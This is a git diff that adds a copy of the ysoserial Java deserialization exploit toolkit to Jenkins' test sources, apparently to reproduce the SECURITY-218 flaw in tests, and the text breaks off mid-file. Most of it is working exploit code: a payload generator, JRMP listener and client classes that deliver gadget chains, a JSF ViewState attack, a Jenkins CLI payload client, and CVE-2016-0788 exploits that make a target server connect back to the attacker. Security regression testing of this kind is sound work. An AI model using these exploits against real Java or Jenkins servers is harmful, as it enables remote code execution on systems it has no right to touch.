diff --git a/test/pom.xml b/test/pom.xml index c68107f1823029c6f72e7551019311bf02ed55f5..9b4f79095ccd2c2c99627d8574d3c27c0ed68dc7 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -183,6 +183,11 @@ THE SOFTWARE. mockito-core test + + org.reflections + reflections + 0.9.9 + org.netbeans.modules org-netbeans-insane diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java new file mode 100755 index 0000000000000000000000000000000000000000..87f947d00449a114837cbfa98aa2327b1c6f6be1 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java @@ -0,0 +1,34 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.util.concurrent.Callable; + +public class Deserializer implements Callable { + private final byte[] bytes; + + public Deserializer(byte[] bytes) { this.bytes = bytes; } + + public Object call() throws Exception { + return deserialize(bytes); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + + public static void main(String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Object object = deserialize(in); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java new file mode 100644 index 0000000000000000000000000000000000000000..ce33b97ae34eb505b4a02a9c5e0ef306cfad4855 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial; + +import java.io.PrintStream; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + return; // make null analysis happy + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + PrintStream out = System.out; + Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); + } + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java new file mode 100755 index 0000000000000000000000000000000000000000..e508fa6420ae6d140234e8ed6b113e0b163aa6e7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java @@ -0,0 +1,30 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +public class Serializer implements Callable { + private final Object object; + public Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000000000000000000000000000000000000..4e26316f2633007f0ca967470131041f922bf854 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package jenkins.security.security218.ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000000000000000000000000000000000000..6e95b3691badb26d6124c5eff7df7322ea58e9a0 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,141 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * Generic JRMP client + * + * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[2], payloadObject); + } + + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000000000000000000000000000000000000..9869a0820cec5ff2f6cf7ad372376d2d792a18b4 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,316 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.io.Serializable; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + } + + + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java new file mode 100644 index 0000000000000000000000000000000000000000..84b6ca63b5c8886de56389181a4830e0c48aedae --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java @@ -0,0 +1,80 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * JSF view state exploit + * + * Delivers a gadget payload via JSF ViewState token. + * + * This will only work if ViewState encryption/mac is disabled. + * + * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + * + * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + * + */ +public class JSF { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + + } + + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000000000000000000000000000000000000..0ff47e82578beb9f97f29b30081785e9ff468da9 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,124 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + +/** + * Jenkins CLI client + * + * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + * + * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + * + */ +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[1], payloadObject); + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000000000000000000000000000000000000..168d17573cdcb8a1b1af311bb381e767a7c04ccf --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + * + * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000000000000000000000000000000000000..99b7fdde4dc96addd897ded5207fabdd7c39e91f --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,80 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import jenkins.security.security218.ysoserial.exploit.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.JRMPClient; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * - Sets up a local {@link JRMPListener} + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + * + */ +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 